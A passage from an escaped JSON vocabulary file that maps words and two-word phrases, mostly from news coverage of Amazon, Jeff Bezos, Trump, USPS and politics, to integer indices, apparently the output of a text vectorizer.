outpace\": 153650,\n  \"vibration\": 153651,\n  \"jurisdictions amazon\": 153652,\n  \"technological stocks\": 153653,\n  \"livable\": 153654,\n  \"885\": 153655,\n  \"open formal\": 153656,\n  \"couldn buy\": 153657,\n  \"moodier\": 153658,\n  \"state agenda\": 153659,\n  \"discount policy\": 153660,\n  \"cross country\": 153661,\n  \"photo rep\": 153662,\n  \"sees night\": 153663,\n  \"entrails\": 153664,\n  \"report studied\": 153665,\n  \"just analysis\": 153666,\n  \"boondoggle\": 153667,\n  \"breakdown\": 153668,\n  \"daily briefing\": 153669,\n  \"connectivity\": 153670,\n  \"ruling alex\": 153671,\n  \"suffers daily\": 153672,\n  \"founder reportedly\": 153673,\n  \"best young\": 153674,\n  \"enterprises access\": 153675,\n  \"real quick\": 153676,\n  \"officials grounded\": 153677,\n  \"304 shares\": 153678,\n  \"amazon power\": 153679,\n  \"administration proposed\": 153680,\n  \"wasson rc1d900f0700\": 153681,\n  \"prime vehicles\": 153682,\n  \"missile\": 153683,\n  \"competing fairly\": 153684,\n  \"advantage bezos\": 153685,\n  \"amazon giving\": 153686,\n  \"412 380\": 153687,\n  \"stories delivered\": 153688,\n  \"warship\": 153689,\n  \"including agriculture\": 153690,\n  \"offers bundle\": 153691,\n  \"latest piece\": 153692,\n  \"little real\": 153693,\n  \"risk sectors\": 153694,\n  \"enrique pena\": 153695,\n  \"strong cyber\": 153696,\n  \"especially bad\": 153697,\n  \"gannett news\": 153698,\n  \"thrillers\": 153699,\n  \"world best\": 153700,\n  \"pumped\": 153701,\n  \"rated decade\": 153702,\n  \"establish commission\": 153703,\n  \"walmart canada\": 153704,\n  \"followers george\": 153705,\n  \"trumper\": 153706,\n  \"directly related\": 153707,\n  \"sexual harassment\": 153708,\n  \"long established\": 153709,\n  \"rebate hard\": 153710,\n  \"steve rogers\": 153711,\n  \"favorite hip\": 153712,\n  \"massive especially\": 153713,\n  \"faulders abc\": 153714,\n  \"netflix roma\": 153715,\n  \"netflix potentially\": 153716,\n  \"post registered\": 153717,\n  \"readers need\": 153718,\n  \"100 hours\": 153719,\n  \"dentsu\": 153720,\n  \"victory diminished\": 153721,\n  \"washingtons biggest\": 153722,\n  \"wonder stream\": 153723,\n  \"deal rupert\": 153724,\n  \"bulldozing\": 153725,\n  \"egomaniac\": 153726,\n  \"rave\": 153727,\n  \"receive customer\": 153728,\n  \"iran threat\": 153729,\n  \"shows somewhat\": 153730,\n  \"commercials\": 153731,\n  \"mindshare\": 153732,\n  \"corrugated\": 153733,\n  \"highest court\": 153734,\n  \"snatch airwaves\": 153735,\n  \"tariffs ahead\": 153736,\n  \"htlive\": 153737,\n  \"estimates roughly\": 153738,\n  \"cras new\": 153739,\n  \"haul items\": 153740,\n  \"discussed publicly\": 153741,\n  \"monthly patron\": 153742,\n  \"concluding years\": 153743,\n  \"khashoggi notably\": 153744,\n  \"videopinner init\": 153745,\n  \"975 8718\": 153746,\n  \"true according\": 153747,\n  \"losers fit\": 153748,\n  \"impeach\": 153749,\n  \"seeking income\": 153750,\n  \"satirical\": 153751,\n  \"feds used\": 153752,\n  \"pointed attacks\": 153753,\n  \"deal maker\": 153754,\n  \"recommends handing\": 153755,\n  \"week meeting\": 153756,\n  \"doj requests\": 153757,\n  \"rep tom\": 153758,\n  \"belittle\": 153759,\n  \"100 warehouses\": 153760,\n  \"company ebay\": 153761,\n  \"commission olivers\": 153762,\n  \"used cancer\": 153763,\n  \"policy washington\": 153764,\n  \"details horrific\": 153765,\n  \"jeff beauregard\": 153766,\n  \"difficult working\": 153767,\n  \"coalition engaged\": 153768,\n  \"ceaselessly previously\": 153769,\n  \"pure distraction\": 153770,\n  \"stores amazon\": 153771,\n  \"congress followed\": 153772,\n  \"scrawny dwarf\": 153773,\n  \"cool elite\": 153774,\n  \"colleagues continue\": 153775,\n  \"iran mass\": 153776,\n  \"the25th amendment\": 153777,\n  \"rfp continues\": 153778,\n  \"prices usps\": 153779,\n  \"amazon focus\": 153780,\n  \"paragraph trump\": 153781,\n  \"lessons learnt\": 153782,\n  \"compensate\": 153783,\n  \"robinson rally\": 153784,\n  \"hurting american\": 153785,\n  \"holiday purchases\": 153786,\n  \"trump handing\": 153787,\n  \"maintain access\": 153788,\n  \"businesses opening\": 153789,\n  \"super micro\": 153790,\n  \"paul blair\": 153791,\n  \"sanford conservative\": 153792,\n  \"billion corporation\": 153793,\n  \"amazon overtook\": 153794,\n  \"quantitative easing\": 153795,\n  \"clinton saying\": 153796,\n  \"term secular\": 153797,\n  \"special diets\": 153798,\n  \"appear headed\": 153799,\n  \"blaming obama\": 153800,\n  \"parties seek\": 153801,\n  \"affront\": 153802,\n  \"york skyscrapers\": 153803,\n  \"necessary knowledge\": 153804,\n  \"efficient cloud\": 153805,\n  \"reportedly spent\": 153806,\n  \"approach used\": 153807,\n  \"negative ratings\": 153808,\n  \"driving thoughts\": 153809,\n  \"man pleads\": 153810,\n  \"climbed nearly\": 153811,\n  \"new republic\": 153812,\n  \"century style\": 153813,\n  \"300x520\": 153814,\n  \"red make\": 153815,\n  \"market mid\": 153816,\n  \"atif siddiqui\": 153817,\n  \"mingled defense\": 153818,\n  \"subculture\": 153819,\n  \"dennis van\": 153820,\n  \"khashoggi according\": 153821,\n  \"people watch\": 153822,\n  \"email howard\": 153823,\n  \"record hitting\": 153824,\n  \"flight risk\": 153825,\n  \"organ\": 153826,\n  \"good long\": 153827,\n  \"jack stoddard\": 153828,\n  \"election officials\": 153829,\n  \"reputation took\": 153830,\n  \"execute lease\": 153831,\n  \"growth primarily\": 153832,\n  \"nassar\": 153833,\n  \"culinary talent\": 153834,\n  \"justin marks\": 153835,\n  \"pushed congress\": 153836,\n  \"fail according\": 153837,\n  \"owner nancy\": 153838,\n  \"magas hate\": 153839,\n  \"wonderkid\": 153840,\n  \"complicating\": 153841,\n  \"immediately obvious\": 153842,\n  \"east tokyo\": 153843,\n  \"competitive prices\": 153844,\n  \"youtube aj\": 153845,\n  \"arms length\": 153846,\n  \"theory given\": 153847,\n  \"president appoints\": 153848,\n  \"rosen house\": 153849,\n  \"plans trump\": 153850,\n  \"disclosures\": 153851,\n  \"enabled products\": 153852,\n  \"hotel read\": 153853,\n  \"sea level\": 153854,\n  \"sally rooney\": 153855,\n  \"manufactured product\": 153856,\n  \"know fassbender\": 153857,\n  \"1940x900 uploaded_files\": 153858,\n  \"offset costs\": 153859,\n  \"price quickly\": 153860,\n  \"koett walk\": 153861,\n  \"dc employees\": 153862,\n  \"bloomberg extensive\": 153863,\n  \"garun\": 153864,\n  \"face gdpr\": 153865,\n  \"videoleafurl videos\": 153866,\n  \"american technology\": 153867,\n  \"dixie vodka\": 153868,\n  \"tremendously\": 153869,\n  \"charlie leight\": 153870,\n  \"policy connections\": 153871,\n  \"smith fedex\": 153872,\n  \"ensure liberties\": 153873,\n  \"hire eissenstat\": 153874,\n  \"mean greene\": 153875,\n  \"qanon related\": 153876,\n  \"acknowledge fedex\": 153877,\n  \"brand announced\": 153878,\n  \"purported plans\": 153879,\n  \"various different\": 153880,\n  \"market speculation\": 153881,\n  \"resolutely\": 153882,\n  \"e0 a4ee\": 153883,\n  \"huelgaamazon\": 153884,\n  \"report results\": 153885,\n  \"control implementation\": 153886,\n  \"peculiar twist\": 153887,\n  \"educational rap\": 153888,\n  \"year ending\": 153889,\n  \"did earlier\": 153890,\n  \"strategic locations\": 153891,\n  \"hearing exposed\": 153892,\n  \"previous fbi\": 153893,\n  \"american retailers\": 153894,\n  \"american flag\": 153895,\n  \"self driving\": 153896,\n  \"important roles\": 153897,\n  \"jkbjournalist\": 153898,\n  \"2018 tower\": 153899,\n  \"department objections\": 153900,\n  \"pay benefits\": 153901,\n  \"cia ink\": 153902,\n  \"comienza la\": 153903,\n  \"big brother\": 153904,\n  \"elect anti\": 153905,\n  \"catherine larkin\": 153906,\n  \"enquirer initially\": 153907,\n  \"000 slightly\": 153908,\n  \"investors discuss\": 153909,\n  \"divorce news\": 153910,\n  \"merchandise particularly\": 153911,\n  \"repeatedly calls\": 153912,\n  \"davis cup\": 153913,\n  \"satisfy amazon\": 153914,\n  \"prohibit funding\": 153915,\n  \"sentence simply\": 153916,\n  \"deyoung\": 153917,\n  \"time leader\": 153918,\n  \"labaki refuses\": 153919,\n  \"loss according\": 153920,\n  \"skip west\": 153921,\n  \"animal rescue\": 153922,\n  \"justice approval\": 153923,\n  \"northwestern mexico\": 153924,\n  \"astonishing\": 153925,\n  \"clearly linked\": 153926,\n  \"grotesquely\": 153927,\n  \"dod contract\": 153928,\n  \"obeying\": 153929,\n  \"red country\": 153930,\n  \"pharmaceuticals provides\": 153931,\n  \"segway\": 153932,\n  \"reaching 1849\": 153933,\n  \"va\": 153934,\n  \"row america\": 153935,\n  \"divert investment\": 153936,\n  \"court win\": 153937,\n  \"distribution sector\": 153938,\n  \"goal brazil\": 153939,\n  \"fedex does\": 153940,\n  \"coratti told\": 153941,\n  \"decision\": 153942,\n  \"disorders\": 153943,\n  \"fox government\": 153944,\n  \"hadcome\": 153945,\n  \"metapack solution\": 153946,\n  \"estate fortune\": 153947,\n  \"clark tweeted\": 153948,\n  \"early investors\": 153949,\n  \"doggedly\": 153950,\n  \"constitutional clash\": 153951,\n  \"plodding\": 153952,\n  \"pecker did\": 153953,\n  \"shift raises\": 153954,\n  \"couple 143\": 153955,\n  \"mccain hit\": 153956,\n  \"alpha male\": 153957,\n  \"analytics team\": 153958,\n  \"nyse jnj\": 153959,\n  \"pro apple\": 153960,\n  \"corresponds\": 153961,\n  \"forest combine\": 153962,\n  \"substantial marketing\": 153963,\n  \"mergers including\": 153964,\n  \"onaws\": 153965,\n  \"accounting techniques\": 153966,\n  \"answered media\": 153967,\n  \"historic\": 153968,\n  \"beach\": 153969,\n  \"future editions\": 153970,\n  \"adzone 4160\": 153971,\n  \"million resulting\": 153972,\n  \"novel reads\": 153973,\n  \"bartiromo uh\": 153974,\n  \"unbearable\": 153975,\n  \"undercover investigation\": 153976,\n  \"tags amazon\": 153977,\n  \"inexpensive sets\": 153978,\n  \"dell technologies\": 153979,\n  \"street walmart\": 153980,\n  \"fund nonprofit\": 153981,\n  \"organization licensing\": 153982,\n  \"target alex\": 153983,\n  \"economic freedom\": 153984,\n  \"news congressional\": 153985,\n  \"psychologically allergic\": 153986,\n  \"best deals\": 153987,\n  \"laura ries\": 153988,\n  \"clean food\": 153989,\n  \"angeles lacerda\": 153990,\n  \"frank langella\": 153991,\n  \"decade later\": 153992,\n  \"tech leadership\": 153993,\n  \"humanity sake\": 153994,\n  \"playboy ex\": 153995,\n  \"farcical\": 153996,\n  \"trump accuses\": 153997,\n  \"100 drivers\": 153998,\n  \"restoration amendment\": 153999,\n  \"accused luxembourg\": 154000,\n  \"began model\": 154001,\n  \"month culminated\": 154002,\n  \"wilson printed\": 154003,\n  \"stores retail\": 154004,\n  \"coastal areas\": 154005,\n  \"major drugstore\": 154006,\n  \"political types\": 154007,\n  \"employees future\": 154008,\n  \"report broke\": 154009,\n  \"siddiqui ceo\": 154010,\n  \"orlando immediately\": 154011,\n  \"calls enemies\": 154012,\n  \"rival walmart\": 154013,\n  \"stock drawn\": 154014,\n  \"public figures\": 154015,\n  \"increasingly suspects\": 154016,\n  \"migrant children\": 154017,\n  \"doesn involve\": 154018,\n  \"eddie pells\": 154019,\n  \"yorker pulitzer\": 154020,\n  \"chat raj\": 154021,\n  \"gulf statesand\": 154022,\n  \"copy\": 154023,\n  \"immigration decisions\": 154024,\n  \"titan amazon\": 154025,\n  \"wapo owner\": 154026,\n  \"incimage\": 154027,\n  \"paying duties\": 154028,\n  \"profit respectively\": 154029,\n  \"chef knife\": 154030,\n  \"entity list\": 154031,\n  \"cast wary\": 154032,\n  \"revived\": 154033,\n  \"nationwide contest\": 154034,\n  \"pace trump\": 154035,\n  \"says amazons\": 154036,\n  \"moratorium voluntary\": 154037,\n  \"swift ranging\": 154038,\n  \"new council\": 154039,\n  \"trump drags\": 154040,\n  \"christmas time\": 154041,\n  \"university chico\": 154042,\n  \"walsh ap\": 154043,\n  \"frighteningly\": 154044,\n  \"audacity\": 154045,\n  \"billion richer\": 154046,\n  \"paint strippers\": 154047,\n  \"faqs\": 154048,\n  \"guidelines apprenticeships\": 154049,\n  \"engineered living\": 154050,\n  \"played alongside\": 154051,\n  \"noble pursuit\": 154052,\n  \"calebhowe\": 154053,\n  \"buckets\": 154054,\n  \"day including\": 154055,\n  \"eads kc\": 154056,\n  \"targeting amazon\": 154057,\n  \"greetings\": 154058,\n  \"issue false\": 154059,\n  \"seemingly arbitrary\": 154060,\n  \"bar abortions\": 154061,\n  \"underappreciated morgan\": 154062,\n  \"clutch\": 154063,\n  \"reach trillion\": 154064,\n  \"items including\": 154065,\n  \"presence maybe\": 154066,\n  \"mark mahaney\": 154067,\n  \"business friendly\": 154068,\n  \"jr day\": 154069,\n  \"including bids\": 154070,\n  \"nathan peterson\": 154071,\n  \"wine producers\": 154072,\n  \"avoid taking\": 154073,\n  \"legislators hold\": 154074,\n  \"committee purchased\": 154075,\n  \"grand scale\": 154076,\n  \"protecting lands\": 154077,\n  \"sanchez despite\": 154078,\n  \"barbara lee\": 154079,\n  \"schumer words\": 154080,\n  \"amazon eu\": 154081,\n  \"automobiles\": 154082,\n  \"commerce leaders\": 154083,\n  \"reorient\": 154084,\n  \"data 2018\": 154085,\n  \"antagonized bezos\": 154086,\n  \"lazy\": 154087,\n  \"intact blue\": 154088,\n  \"separately doug\": 154089,\n  \"michigan\": 154090,\n  \"extremely compelling\": 154091,\n  \"days ago\": 154092,\n  \"versus 600\": 154093,\n  \"events best\": 154094,\n  \"case asking\": 154095,\n  \"camp efforts\": 154096,\n  \"vortex\": 154097,\n  \"forecast mountain\": 154098,\n  \"gossip tabloid\": 154099,\n  \"dermot mulroney\": 154100,\n  \"eclectic group\": 154101,\n  \"mari uyehara\": 154102,\n  \"economy merging\": 154103,\n  \"yields surging\": 154104,\n  \"date just\": 154105,\n  \"wage story\": 154106,\n  \"dershowitz explodes\": 154107,\n  \"beef consumption\": 154108,\n  \"oejeff bozo\": 154109,\n  \"2019 lucky\": 154110,\n  \"book sean\": 154111,\n  \"steve moore\": 154112,\n  \"state deputy\": 154113,\n  \"misdeeds following\": 154114,\n  \"evaporated\": 154115,\n  \"racist neighbor\": 154116,\n  \"easier opening\": 154117,\n  \"josephson eleanor\": 154118,\n  \"chief meteorologist\": 154119,\n  \"commerce segment\": 154120,\n  \"revenue 2018\": 154121,\n  \"unwittingly allowing\": 154122,\n  \"deal jon\": 154123,\n  \"using power\": 154124,\n  \"fallout facebook\": 154125,\n  \"gianaris earlier\": 154126,\n  \"sports team\": 154127,\n  \"lightfoot lag\": 154128,\n  \"win election\": 154129,\n  \"sale solution\": 154130,\n  \"expands lobbying\": 154131,\n  \"midterms florida\": 154132,\n  \"diagnosis\": 154133,\n  \"beginning immediately\": 154134,\n  \"edit\": 154135,\n  \"dishing\": 154136,\n  \"triumvirate\": 154137,\n  \"journalism icymi\": 154138,\n  \"censored\": 154139,\n  \"bedminster golf\": 154140,\n  \"giraffe saying\": 154141,\n  \"value corporate\": 154142,\n  \"hq2 stage\": 154143,\n  \"hiring financial\": 154144,\n  \"finish time\": 154145,\n  \"usps expects\": 154146,\n  \"science classes\": 154147,\n  \"034 shares\": 154148,\n  \"fear anger\": 154149,\n  \"svcs nyse\": 154150,\n  \"hurts kids\": 154151,\n  \"wildfires minutes\": 154152,\n  \"small cramped\": 154153,\n  \"letter celebrity\": 154154,\n  \"town hall\": 154155,\n  \"susan fowler\": 154156,\n  \"americans according\": 154157,\n  \"massie\": 154158,\n  \"humphrey analysts\": 154159,\n  \"myreipro\": 154160,\n  \"greg gottesman\": 154161,\n  \"better way\": 154162,\n  \"tjx companies\": 154163,\n  \"say fear\": 154164,\n  \"paycheck cha\": 154165,\n  \"skyrocketing\": 154166,\n  \"amazon blessed\": 154167,\n  \"involving turd\": 154168,\n  \"president bashir\": 154169,\n  \"hounding\": 154170,\n  \"world premiere\": 154171,\n  \"google business\": 154172,\n  \"paul archuleta\": 154173,\n  \"marathon viral\": 154174,\n  \"obstructing free\": 154175,\n  \"watchdog widens\": 154176,\n  \"yearly reports\": 154177,\n  \"media__over\": 154178,\n  \"quite consistently\": 154179,\n  \"ironic declared\": 154180,\n  \"underpay royalties\": 154181,\n  \"precinct\": 154182,\n  \"employers vying\": 154183,\n  \"women economic\": 154184,\n  \"expensive multi\": 154185,\n  \"medicaid work\": 154186,\n  \"big splash\": 154187,\n  \"massive returns\": 154188,\n  \"130 year\": 154189,\n  \"western mexico\": 154190,\n  \"government mark\": 154191,\n  \"correctional\": 154192,\n  \"mac needs\": 154193,\n  \"city leaders\": 154194,\n  \"industry group\": 154195,\n  \"including groceries\": 154196,\n  \"reactid 169\": 154197,\n  \"support organisations\": 154198,\n  \"ennis\": 154199,\n  \"palace intrigue\": 154200,\n  \"farmers trump\": 154201,\n  \"dorsey heard\": 154202,\n  \"anthony booker\": 154203,\n  \"users baffled\": 154204,\n  \"terrorists\": 154205,\n  \"prestigious silicon\": 154206,\n  \"mayor pembroke\": 154207,\n  \"thisweekabc\": 154208,\n  \"pretty offensive\": 154209,\n  \"concentration camps\": 154210,\n  \"kingdom istanbul\": 154211,\n  \"michael dell\": 154212,\n  \"bids don\": 154213,\n  \"flexible curriculum\": 154214,\n  \"view youtube\": 154215,\n  \"buffett wealth\": 154216,\n  \"machine built\": 154217,\n  \"spanish officials\": 154218,\n  \"english netflix\": 154219,\n  \"asknewswires\": 154220,\n  \"unveils best\": 154221,\n  \"bezos subsequently\": 154222,\n  \"ready willing\": 154223,\n  \"deng\": 154224,\n  \"pelosi news\": 154225,\n  \"generally positive\": 154226,\n  \"term spending\": 154227,\n  \"drugstore\": 154228,\n  \"baltic\": 154229,\n  \"quirky\": 154230,\n  \"drago bloomberg\": 154231,\n  \"currently levy\": 154232,\n  \"bipartisan support\": 154233,\n  \"autonomous systems\": 154234,\n  \"trump toy\": 154235,\n  \"padr\\u00f3n\": 154236,\n  \"cards followed\": 154237,\n  \"plant chairman\": 154238,\n  \"video data\": 154239,\n  \"carmen\": 154240,\n  \"social media\": 154241,\n  \"monster\": 154242,\n  \"woolf\": 154243,\n  \"care involves\": 154244,\n  \"comas severe\": 154245,\n  \"forget bezos\": 154246,\n  \"day announcements\": 154247,\n  \"cjr today\": 154248,\n  \"river amid\": 154249,\n  \"rhoten\": 154250,\n  \"intravenous injection\": 154251,\n  \"q3 2014\": 154252,\n  \"kid think\": 154253,\n  \"gain steam\": 154254,\n  \"enquirer kept\": 154255,\n  \"utah shale\": 154256,\n  \"repression deforestation\": 154257,\n  \"kequiang\": 154258,\n  \"putin trump\": 154259,\n  \"alec wildenstein\": 154260,\n  \"new landing\": 154261,\n  \"state voters\": 154262,\n  \"best hot\": 154263,\n  \"overwhelmingly\": 154264,\n  \"niall stanage\": 154265,\n  \"notable players\": 154266,\n  \"r4ee f6\": 154267,\n  \"just raising\": 154268,\n  \"establishment media\": 154269,\n  \"faces failing\": 154270,\n  \"philanthropy focused\": 154271,\n  \"isbecause\": 154272,\n  \"taxes bloomberg\": 154273,\n  \"targets specific\": 154274,\n  \"leak continues\": 154275,\n  \"projects giant\": 154276,\n  \"bezos refusal\": 154277,\n  \"ryan steve\": 154278,\n  \"shell conocophillips\": 154279,\n  \"media analyst\": 154280,\n  \"antitrust authority\": 154281,\n  \"state reaped\": 154282,\n  \"peeved\": 154283,\n  \"soldado\": 154284,\n  \"annual training\": 154285,\n  \"kevin murphy\": 154286,\n  \"news website\": 154287,\n  \"degree\": 154288,\n  \"sharply criticizing\": 154289,\n  \"time_updated 2019\": 154290,\n  \"exec\": 154291,\n  \"settings close\": 154292,\n  \"conditioned warehouse\": 154293,\n  \"company information\": 154294,\n  \"sandler\": 154295,\n  \"transfer intangible\": 154296,\n  \"urbanologist\": 154297,\n  \"proposed entity\": 154298,\n  \"respect amazon\": 154299,\n  \"approving amazon\": 154300,\n  \"little bump\": 154301,\n  \"voice using\": 154302,\n  \"equity stake\": 154303,\n  \"facebook fb\": 154304,\n  \"eckstein usni\": 154305,\n  \"lai\": 154306,\n  \"rampant ignorance\": 154307,\n  \"ample competition\": 154308,\n  \"expect classic\": 154309,\n  \"country duty\": 154310,\n  \"zume amazon\": 154311,\n  \"platform mayvenn\": 154312,\n  \"networking titan\": 154313,\n  \"nbc hosted\": 154314,\n  \"run collective\": 154315,\n  \"profitable expansion\": 154316,\n  \"rears\": 154317,\n  \"180 operator\": 154318,\n  \"support ice\": 154319,\n  \"glow michelle\": 154320,\n  \"rights demanding\": 154321,\n  \"launch political\": 154322,\n  \"moc zaman\": 154323,\n  \"just hours\": 154324,\n  \"bank match\": 154325,\n  \"jim cramer\": 154326,\n  \"marie antoinette\": 154327,\n  \"general outlook\": 154328,\n  \"path going\": 154329,\n  \"authorities switched\": 154330,\n  \"establish tight\": 154331,\n  \"new entrants\": 154332,\n  \"cooking food\": 154333,\n  \"limousine\": 154334,\n  \"pain care\": 154335,\n  \"large metro\": 154336,\n  \"fulfillment markets\": 154337,\n  \"taking companies\": 154338,\n  \"worldwide operations\": 154339,\n  \"haze\": 154340,\n  \"certain lawmakers\": 154341,\n  \"live crickets\": 154342,\n  \"trump pulling\": 154343,\n  \"storied second\": 154344,\n  \"liesman brainard\": 154345,\n  \"entrench\": 154346,\n  \"statement spacex\": 154347,\n  \"r4 function\": 154348,\n  \"celebrity judges\": 154349,\n  \"political clout\": 154350,\n  \"small massachusetts\": 154351,\n  \"toups\": 154352,\n  \"dampened exports\": 154353,\n  \"walker agreement\": 154354,\n  \"sanctions read\": 154355,\n  \"history deal\": 154356,\n  \"sanders proposes\": 154357,\n  \"services management\": 154358,\n  \"compelling buying\": 154359,\n  \"class\": 154360,\n  \"outsized influence\": 154361,\n  \"congressman jair\": 154362,\n  \"organic grocery\": 154363,\n  \"pharmacy services\": 154364,\n  \"progressives pushing\": 154365,\n  \"ambitious crossover\": 154366,\n  \"carrell bezos\": 154367,\n  \"worker company\": 154368,\n  \"skincare thing\": 154369,\n  \"trump sees\": 154370,\n  \"trump laundered\": 154371,\n  \"commission democratic\": 154372,\n  \"grudge\": 154373,\n  \"biggest investments\": 154374,\n  \"medina\": 154375,\n  \"thy\": 154376,\n  \"company opposing\": 154377,\n  \"1827\": 154378,\n  \"affinity groups\": 154379,\n  \"day residents\": 154380,\n  \"cares untied\": 154381,\n  \"turquoise shirt\": 154382,\n  \"kroger nationwide\": 154383,\n  \"bring cities\": 154384,\n  \"network usa\": 154385,\n  \"correspondent abby\": 154386,\n  \"leaf datecreated\": 154387,\n  \"pic source\": 154388,\n  \"biggest ad\": 154389,\n  \"face extreme\": 154390,\n  \"ethics violations\": 154391,\n  \"wicked dig\": 154392,\n  \"coverage samantha\": 154393,\n  \"resigning\": 154394,\n  \"saudis ties\": 154395,\n  \"powerful senator\": 154396,\n  \"report reads\": 154397,\n  \"queens facility\": 154398,\n  \"imperium die\": 154399,\n  \"entire school\": 154400,\n  \"transports\": 154401,\n  \"chukumba\": 154402,\n  \"fell modestly\": 154403,\n  \"platform lendio\": 154404,\n  \"cnnmoney having\": 154405,\n  \"holly mesrobian\": 154406,\n  \"york civil\": 154407,\n  \"signing presidential\": 154408,\n  \"kimberly guilfoyle\": 154409,\n  \"returned save\": 154410,\n  \"prompting shift\": 154411,\n  \"quantum ledger\": 154412,\n  \"hey think\": 154413,\n  \"chapel hill\": 154414,\n  \"mandel ngan\": 154415,\n  \"persistent signs\": 154416,\n  \"owens debut\": 154417,\n  \"instantly realized\": 154418,\n  \"businessman turned\": 154419,\n  \"urged treasury\": 154420,\n  \"securities exchange\": 154421,\n  \"rival book\": 154422,\n  \"writing fox\": 154423,\n  \"photos starbucks\": 154424,\n  \"wore bruno\": 154425,\n  \"577\": 154426,\n  \"posting\": 154427,\n  \"past claiming\": 154428,\n  \"early education\": 154429,\n  \"cinema chain\": 154430,\n  \"regulatory mechanism\": 154431,\n  \"sales numbers\": 154432,\n  \"venturebeat amazon\": 154433,\n  \"established industries\": 154434,\n  \"story preschool\": 154435,\n  \"governments start\": 154436,\n  \"book amazon\": 154437,\n  \"tmz cnn\": 154438,\n  \"usps essentially\": 154439,\n  \"ice arrests\": 154440,\n  \"watch kathie\": 154441,\n  \"bezos pay\": 154442,\n  \"settling\": 154443,\n  \"finds budget\": 154444,\n  \"based red\": 154445,\n  \"twisted\": 154446,\n  \"assistance according\": 154447,\n  \"diligence aws\": 154448,\n  \"3rd service\": 154449,\n  \"human demise\": 154450,\n  \"instagram vine\": 154451,\n  \"gravity levitation\": 154452,\n  \"parkland massacre\": 154453,\n  \"match tom\": 154454,\n  \"added new\": 154455,\n  \"meyers samantha\": 154456,\n  \"bernie fernandez\": 154457,\n  \"amazon required\": 154458,\n  \"centenary trump\": 154459,\n  \"make repairs\": 154460,\n  \"bailouts\": 154461,\n  \"municipal\": 154462,\n  \"globally better\": 154463,\n  \"consumers ages\": 154464,\n  \"statuscolor\": 154465,\n  \"tersely\": 154466,\n  \"ongoing effort\": 154467,\n  \"egoists\": 154468,\n  \"postcards package\": 154469,\n  \"era richard\": 154470,\n  \"house meeting\": 154471,\n  \"stiller directs\": 154472,\n  \"prohibit\": 154473,\n  \"leaked documents\": 154474,\n  \"star tribune\": 154475,\n  \"poynter reached\": 154476,\n  \"chuck grom\": 154477,\n  \"travel ban\": 154478,\n  \"bernie wing\": 154479,\n  \"2020 italy\": 154480,\n  \"quarter aspiriant\": 154481,\n  \"carousel medium\": 154482,\n  \"including chicagoist\": 154483,\n  \"andres\": 154484,\n  \"arsenic\": 154485,\n  \"maker\": 154486,\n  \"zuker tweet\": 154487,\n  \"contest tha\": 154488,\n  \"big strengths\": 154489,\n  \"leveraged loans\": 154490,\n  \"cathy renowned\": 154491,\n  \"green new\": 154492,\n  \"aggressive timelines\": 154493,\n  \"finished slightly\": 154494,\n  \"single number\": 154495,\n  \"lucrative government\": 154496,\n  \"upped lobbying\": 154497,\n  \"progressives\": 154498,\n  \"rl britain\": 154499,\n  \"rep sara\": 154500,\n  \"dominant player\": 154501,\n  \"flagship store\": 154502,\n  \"lonely city\": 154503,\n  \"film composer\": 154504,\n  \"putin 2018\": 154505,\n  \"subtle threat\": 154506,\n  \"reimposition\": 154507,\n  \"essentially downplay\": 154508,\n  \"aardvark habanero\": 154509,\n  \"immediately following\": 154510,\n  \"impacted customers\": 154511,\n  \"stock slumped\": 154512,\n  \"2017 cyber\": 154513,\n  \"pardons\": 154514,\n  \"different regions\": 154515,\n  \"media contributed\": 154516,\n  \"filmmaking amazon\": 154517,\n  \"businesses shares\": 154518,\n  \"department data\": 154519,\n  \"constituents want\": 154520,\n  \"vaxcalc org\": 154521,\n  \"carell joked\": 154522,\n  \"d2jyz4lfsmnmp9\": 154523,\n  \"titan david\": 154524,\n  \"remove counterfeit\": 154525,\n  \"false lists\": 154526,\n  \"amazon survivor\": 154527,\n  \"warranty\": 154528,\n  \"company statement\": 154529,\n  \"antitrust litigation\": 154530,\n  \"101 pf_rd_p\": 154531,\n  \"watergate fame\": 154532,\n  \"benedict counters\": 154533,\n  \"bolduan phil\": 154534,\n  \"government lawyers\": 154535,\n  \"organizations mounted\": 154536,\n  \"changing media\": 154537,\n  \"holds nintendo\": 154538,\n  \"wwe championship\": 154539,\n  \"trader\": 154540,\n  \"iran killed\": 154541,\n  \"ryan directors\": 154542,\n  \"nissan\": 154543,\n  \"mail accounted\": 154544,\n  \"employees actually\": 154545,\n  \"know work\": 154546,\n  \"gleaned\": 154547,\n  \"fight including\": 154548,\n  \"firm comscore\": 154549,\n  \"bloodstream\": 154550,\n  \"k0\": 154551,\n  \"usps postage\": 154552,\n  \"dad killed\": 154553,\n  \"operations opioid\": 154554,\n  \"spain poland\": 154555,\n  \"special seed\": 154556,\n  \"gin\": 154557,\n  \"self absorbed\": 154558,\n  \"shelly adelson\": 154559,\n  \"republican comeback\": 154560,\n  \"impersonal teachers\": 154561,\n  \"new line\": 154562,\n  \"bezosians\": 154563,\n  \"dismissed mccain\": 154564,\n  \"beat analyst\": 154565,\n  \"ftc task\": 154566,\n  \"false friends\": 154567,\n  \"pursuing kaola\": 154568,\n  \"american working\": 154569,\n  \"administration short\": 154570,\n  \"ago danhof\": 154571,\n  \"fuels ice\": 154572,\n  \"early sales\": 154573,\n  \"monitoring programs\": 154574,\n  \"retailer removing\": 154575,\n  \"publish flattering\": 154576,\n  \"assassinating\": 154577,\n  \"carver\": 154578,\n  \"platform wouldn\": 154579,\n  \"bezos demanded\": 154580,\n  \"spying charges\": 154581,\n  \"trump proved\": 154582,\n  \"congressional insiders\": 154583,\n  \"permanently solve\": 154584,\n  \"state long\": 154585,\n  \"amazon topsellers\\u0430list\": 154586,\n  \"technological revolution\": 154587,\n  \"listed include\": 154588,\n  \"allowing counterfeit\": 154589,\n  \"read nj\": 154590,\n  \"cross paths\": 154591,\n  \"previous administrations\": 154592,\n  \"normal political\": 154593,\n  \"cortez wants\": 154594,\n  \"applications increased\": 154595,\n  \"administration reports\": 154596,\n  \"retail magnet\": 154597,\n  \"shore\": 154598,\n  \"midnighton\": 154599,\n  \"buzz china\": 154600,\n  \"fond\": 154601,\n  \"warner channels\": 154602,\n  \"growth year\": 154603,\n  \"scoop\": 154604,\n  \"expressed confidence\": 154605,\n  \"charlotte push\": 154606,\n  \"recently broke\": 154607,\n  \"toilet days\": 154608,\n  \"evidently tired\": 154609,\n  \"mailing rates\": 154610,\n  \"winning amazon\": 154611,\n  \"rolex watches\": 154612,\n  \"487 741\": 154613,\n  \"party leaders\": 154614,\n  \"warned yesterday\": 154615,\n  \"kino lorber\": 154616,\n  \"related exclusive\": 154617,\n  \"family 